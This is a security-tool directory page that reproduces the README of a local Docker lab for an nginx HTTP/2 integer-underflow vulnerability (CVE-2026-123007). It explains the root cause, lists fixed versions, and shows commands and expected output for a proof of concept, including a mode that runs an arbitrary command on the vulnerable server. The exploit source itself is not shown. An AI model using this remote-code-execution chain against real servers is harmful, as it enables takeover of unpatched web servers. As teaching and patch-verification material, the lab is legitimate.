Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
nginx-http2-cve-2026-123007-lab — Local lab for CVE-2026-123007 (nginx HTTP/2 integer underflow): vulnerable Docker container + proof-of-concept | Kitploit
Tools/GitHubGitHub/akarkode/nginx-http2-cve-2026-123007-lab
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityLearning & EducationRemote Access ToolPayload DevelopmentLabs & Practice
Share
GitHubakarkode/nginx-http2-cve-2026-123007-lab

nginx-http2-cve-2026-123007-lab

Local lab for CVE-2026-123007 (nginx HTTP/2 integer underflow): vulnerable Docker container + proof-of-concept

View Repository
211 day agoNot yet reviewed

nginx HTTP/2 Integer Underflow (CVE-2026-123007) — Local Lab

Cover

Educational use only. This repository is a local, self-contained lab for learning how the bug works. Do not run it against systems you do not own or have written permission to test.

A critical flow-control bug in nginx HTTP/2 can let an unauthenticated client corrupt worker memory and, under specific conditions, execute code. This lab runs the real vulnerable nginx image and includes a small PoC that proves the root cause on your machine.

The full write-up — how the accounting error works, why it needs 128 GB of traffic, and what the fix changed — is in article.md.

Overview

ItemDetail
CVECVE-2026-123007
TypeInteger underflow (CWE-191)
CVSS v49.2 Critical (AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H)
Componentnginx HTTP/2 response flow control
ImpactMemory disclosure, worker crash, code execution as the nginx worker
Attack vectorRemote, unauthenticated, single HTTP/2 connection
DisclosedNovember 18, 2026 (Rapid7 / F5)
CreditStephen Fewer, Rapid7

Why it is vulnerable

HTTP/2 flow control gives the client control over how much response data nginx may send. nginx tracks two counters: one for each stream and one for the connection (h2c->send_window, an unsigned size_t).

  1. When a response DATA frame is queued, nginx subtracts its length from both counters.
  2. If the stream is reset before that frame is actually sent, cleanup returns the reserved bytes to the connection counter — without checking the protocol maximum of 2^31-1.
  3. A SETTINGS_INITIAL_WINDOW_SIZE change can close over-credited streams while leaving the connection alive, so the connection window ends up above 2^31-1.
  4. The next WINDOW_UPDATE bounds check computes MAX - h2c->send_window. Because the counter is above MAX, the unsigned subtraction underflows to a huge value, so the check passes and the client can push the window toward 2^64.
  5. Later that value is converted to a signed off_t response length. It becomes negative, nginx creates an inverted output buffer (last < pos), and the TLS output path passes the negative length to memcpy as a huge size_t. The result is an out-of-bounds read/write: data disclosure first, then a controlled overwrite of a request-pool cleanup callback that can run system() in the worker.

Sending a corrupted request is not enough on its own. Practical exploitation requires direct TCP/TLS access (so backpressure works), a fresh worker heap, roughly 119 GiB of plaintext traffic, and an x86-64 glibc build whose runtime-selected memcpy uses the EVEX/YMM path (avx512f + avx512vl).

Patch status

Fixed versions are available:

ProductVulnerableFixed
nginx Open Source1.31.0 – 1.31.81.31.9
nginx Open Source1.9.5 – 1.30.61.30.7
NGINX Plus37.1.0 – 37.2.0.137.3.0.1
NGINX Plus37.0.0 – 37.0.7.137.0.8.1
NGINX PlusR34 – R36No fix

Timeline: Rapid7 contacted F5 on November 11, 2026; F5 confirmed the issue and assigned the CVE; coordinated disclosure was on November 18, 2026. If you run nginx with http2 on, upgrade. Disabling HTTP/2 removes the attack surface until you can patch.

Repository layout

.
├── docker/
│   ├── Dockerfile          # pinned vulnerable image, nginx 1.31.8
│   ├── docker-compose.yml  # publishes 127.0.0.1:19443
│   ├── entrypoint.sh       # creates a self-signed certificate
│   └── nginx.conf          # TLS + http2 on
├── engine/                 # published RCE chain (Rapid7 PoC, credited below)
│   ├── nginx_rce/          # protocol, heap layout, reclaim, dispatch
│   ├── profiles/           # calibrated nginx 1.31.8 target profile
│   ├── streamer.c          # native bulk-traffic helper
│   └── requirements.txt
├── exploit.py              # entry point: check, crash, or run a command
├── assets/
│   └── underflow.gif       # animated diagram for section 4
├── article.md              # full write-up of the bug and the lab
├── cover.png               # article cover
├── cover.svg               # vector source for the cover
└── README.md

Requirements

  • Linux x86-64 with Docker and Docker Compose
  • Python 3.10+ and cryptography for command execution: pip install -r engine/requirements.txt
  • A C compiler and OpenSSL headers (gcc, libssl-dev) to build engine/streamer
  • An HTTP/2-capable curl (optional, for manual checks)

Usage

Start the vulnerable server:

cd docker
docker compose up -d --build

Verify it is serving the stock 896-byte page over HTTP/2:

curl -sk --http2 -o /dev/null -w '%{http_version} %{http_code} %{size_download}\n' \
  https://127.0.0.1:19443/index.html

Expected:

2 200 896

Run the quick check:

cd ..
python3 exploit.py --target https://127.0.0.1:19443/

Expected output:

[*] target      : https://127.0.0.1:19443/
[*] server      : nginx/1.31.8
[*] index.html  : 896 bytes
[*] tls         : TLSv1.3 alpn=h2
[*] building TLS record boundary: 262144 KeyUpdate records
[+] over-credit  : stream cleanup restored credit above 2^31-1
[+] underflow    : next WINDOW_UPDATE passed the unsigned guard
[+] status       : CVE-2026-123007 confirmed

This takes about 45 seconds and sends only a few megabytes. It is safe to repeat; restart the container between attempts if you want a fresh worker:

docker restart cve-2026-123007

What the PoC proves

  • The target negotiates HTTP/2 over TLS 1.3.
  • After draining the 65,535-byte connection window, the PoC queues response DATA and closes the owning streams with a SETTINGS change.
  • nginx resets exactly the two over-credited streams with FLOW_CONTROL_ERROR (RST_STREAM) instead of killing the connection, and cleanup refunds their reserved bytes, leaving the connection window above 2^31-1.
  • The next WINDOW_UPDATE is accepted anyway, and a PING sent afterwards is acknowledged. That is the underflow: the guard MAX - send_window wrapped around.

A patched nginx fails this check, because the connection window invariant is restored before the streams are closed. Verified results:

Target imageOutput
nginx:1.31.8 (vulnerable)[+] status : CVE-2026-123007 confirmed
nginx:1.31.9 (fixed)[-] error : over-credited streams were not reset: {}

Run a command (RCE)

The full command-execution chain is included under engine/. Install its two prerequisites once:

pip install -r engine/requirements.txt
sudo apt install gcc libssl-dev

Restart the container so the worker heap is fresh, then pass --cmd:

docker restart cve-2026-123007
python3 exploit.py --target https://127.0.0.1:19443/ --cmd 'id > /tmp/proof'
docker exec cve-2026-123007 cat /tmp/proof

Expected output:

[*] streamer    : building native helper
[*] target      : https://127.0.0.1:19443/
[*] profile     : golden-nginx-1.31.8-debian13-amd64
[*] command     : id > /tmp/proof
[*] dispatch    : about 119 GiB of traffic, a few minutes
...
[+] code execution dispatched
[*] addresses   : holder=0x... nginx=0x... libc=0x...
[*] traffic     : 119.02 GiB, 16 auxiliary connections

And inside the container:

uid=101(nginx) gid=101(nginx) groups=101(nginx)

Notes:

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    593
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    371
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    336
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    326
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    322

Explore all tools

Browse our collection of tools

View all tools →